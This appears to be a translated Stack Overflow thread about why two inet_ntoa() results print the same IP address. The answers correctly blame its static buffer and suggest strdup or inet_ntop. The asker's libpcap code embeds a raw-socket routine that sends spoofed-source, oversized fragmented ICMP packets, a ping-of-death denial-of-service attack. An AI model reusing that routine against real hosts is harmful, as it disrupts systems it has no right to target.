3
void
got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet)
{

static int count = 1;                   /* packet counter */

/* declare pointers to packet headers */
const struct sniff_ethernet *ethernet;  /* The ethernet header [1] */
const struct sniff_ip *ip;              /* The IP header */
const struct sniff_tcp *tcp;            /* The TCP header */
const char *payload;                    /* Packet payload */

int size_ip;
int size_tcp;
int size_payload;

printf("\nPacket number %d:\n", count);
count++;

/* define ethernet header */
ethernet = (struct sniff_ethernet*)(packet);

/* define/compute ip header offset */
ip = (struct sniff_ip*)(packet + SIZE_ETHERNET);
size_ip = IP_HL(ip)*4;
if (size_ip < 20) {
    printf("   * Invalid IP header length: %u bytes\n", size_ip);
    return;
}

/* print source and destination IP addresses */
printf("       From: %s\n", inet_ntoa(ip->ip_src));//<-------------------------
printf("         To: %s\n", inet_ntoa(ip->ip_dst));//<------------------------

/* determine protocol */    
switch(ip->ip_p) {
    case IPPROTO_TCP:
        printf("   Protocol: TCP\n");
        break;
    case IPPROTO_UDP:
        printf("   Protocol: UDP\n");
        return;
    case IPPROTO_ICMP:
        printf("   Protocol: ICMP\n");

     /*********************************************************************************************/

    char *sinfo[1];
sinfo[0] = inet_ntoa(ip->ip_src);//<----------------------------

char *dinfo[1];
dinfo[0] = inet_ntoa(ip->ip_dst);//<----------------------------

int s, i;
char buf[400];
struct ip *ip = (struct ip *)buf;
struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
struct hostent *hp, *hp2;
struct sockaddr_in dst;
int offset;
int on;
//int num = 5;

 printf("%s- saddress is the spoofed source address\n", sinfo[0]);
 printf("%s- dstaddress is the target\n", dinfo[0]);
 printf("- number is the number of packets to send, 2 is the default\n");

/* Loop based on the packet number */
for(i=1;i<=2;i++)
{
        on = 1;
    bzero(buf, sizeof(buf));

       /* Create RAW socket */
       if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
       {
        perror("socket() error");
        /* If something wrong, just exit */
            exit(1);
       }

       /* socket options, tell the kernel we provide the IP structure */
       if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)
       {
            perror("setsockopt() for IP_HDRINCL error");
            exit(1);
       }

       if((hp = gethostbyname(dinfo[0])) == NULL)
       {
            if((ip->ip_dst.s_addr = inet_addr(dinfo[0])) == -1)
            {
                fprintf(stderr, "%s: Can't resolve, unknown host.\n", dinfo[0]);
                exit(1);
            }   
       }
    else
        bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);

    /* The following source address just redundant for target to collect */
    if((hp2 = gethostbyname(sinfo[0])) == NULL)
    {
     if((ip->ip_src.s_addr = inet_addr(sinfo[0])) == -1)
     {
         fprintf(stderr, "%s: Can't resolve, unknown host\n", sinfo[0]);
         exit(1);
     }
    }
    else
        bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);

    printf("Sending to %s from spoofed %s\n", inet_ntoa(ip->ip_dst), sinfo[0]);

    /* Ip structure, check the ip.h */
    ip->ip_v = 4;
    ip->ip_hl = sizeof*ip >> 2;
    ip->ip_tos = 0;
    ip->ip_len = htons(sizeof(buf));
    ip->ip_id = htons(4321);
    ip->ip_off = htons(0);
    ip->ip_ttl = 255;
    ip->ip_p = 1;
    ip->ip_sum = 0; /* Let kernel fills in */

    dst.sin_addr = ip->ip_dst;
    dst.sin_family = AF_INET;

    icmp->type = ICMP_ECHO;
    icmp->code = 0;
    /* Header checksum */
    icmp->checksum = htons(~(ICMP_ECHO << 8));

    for(offset = 0; offset < 65536; offset += (sizeof(buf) - sizeof(*ip)))
    {
    ip->ip_off = htons(offset >> 3);

    if(offset < 65120)
     ip->ip_off |= htons(0x2000);
    else
      ip->ip_len = htons(418); /* make total 65538 */

    /* sending time */
    if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0)
    {
       fprintf(stderr, "offset %d: ", offset);
       perror("sendto() error");
    }
 else
   printf("sendto() is OK.\n");

    /* IF offset = 0, define our ICMP structure */
    if(offset == 0)
    {
    icmp->type = 0;
    icmp->code = 0;
    icmp->checksum = 0;
    }
   }
  /* close socket */
  close(s);
  sleep(300);
 }
//    return 0;
//}

/******************************************************************************************/


        return;
    case IPPROTO_IP:
        printf("   Protocol: IP\n");
        return;
    default:
        printf("   Protocol: unknown\n");
        return;
} 

/*
 *  OK, this packet is TCP.
 */

/* define/compute tcp header offset */
tcp = (struct sniff_tcp*)(packet + SIZE_ETHERNET + size_ip);
size_tcp = TH_OFF(tcp)*4;
if (size_tcp < 20) {
    printf("   * Invalid TCP header length: %u bytes\n", size_tcp);
    return;
}

printf("   Src port: %d\n", ntohs(tcp->th_sport));
printf("   Dst port: %d\n", ntohs(tcp->th_dport));

/* define/compute tcp payload (segment) offset */
payload = (u_char *)(packet + SIZE_ETHERNET + size_ip + size_tcp);

/* compute tcp payload (segment) size */
size_payload = ntohs(ip->ip_len) - (size_ip + size_tcp);

/*
 * Print payload data; it might be binary, so don't just
 * treat it as a string.
 */
if (size_payload > 0) {
    printf("   Payload (%d bytes):\n", size_payload);
    print_payload(payload, size_payload);
}

return;
}

在上面的代码中,我试图保存 2 个 IP 地址。一个是源IP地址,另一个是目标IP地址。我创建了 2 个字符串并将源地址存储在字符串变量 sinfo 中,将目标地址存储在标记为 dinfo 的变量中。但是,sinfo 和 dinfo 输出相同的地址。这是输出:

包号 1:

来自:192.168.29.138

至:192.168.0.130

协议:ICMP

192.168.0.130-saddress是被欺骗的源地址

192.168.0.130- dstaddress 是目标

  • number 是要发送的数据包数,默认为 2

从欺骗的 192.168.0.130 发送到 192.168.0.130

它为 From: 和 To: 正确打印输出,但对于 sinfo 和 dinfo 不正确。我不知道问题是什么。

4

2 回答 2

5

inet_ntoa()返回指向静态缓冲区的指针,因此第二次调用会覆盖第一次调用的结果:

char *sinfo[1];
sinfo[0] = inet_ntoa(ip->ip_src);

char *dinfo[1];
dinfo[0] = inet_ntoa(ip->ip_dst);

dinfo[0]现在sinfo[0]两者都指向同一个(静态)缓冲区-缓冲区仅包含第二次调用的结果。您需要将结果从 inet_ntoa() 复制到您自己的缓冲区中(我也不确定为什么要使用大小为 1 的指针数组,一个简单的指针就足够了):

char *sinfo = strdup(inet_ntoa(ip->ip_src));
char *dinfo = strdup(inet_ntoa(ip->ip_dst));
...
free(sinfo);
free(dinfo);

正如@cnicutar 所建议的那样,您也可以使用不使用静态缓冲区的inet_ntop ,但允许您直接传递目标缓冲区:

char str[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &addr, str, INET_ADDRSTRLEN);

此外,inet_ntoa()不处理IPv6,而inet_ntop()处理。

于 2013-02-01T07:27:33.837 回答
4

您不应该存储由返回的值inet_ntoa,因为它会被后续调用重写:

应用程序使用

inet_ntoa() 的返回值可能指向静态数据,这些静态数据可能会被后续对 inet_ntoa() 的调用覆盖。

相反,您应该使用strdup

sinfo[0] = strdup(inet_ntoa(ip->ip_src));

并记住free(sinfo[0])。也一样dinfo[0]


话虽如此,迁移到推荐在许多层面上inet_ntop都更好,并且还将解决您的特定问题。

于 2013-02-01T07:28:22.807 回答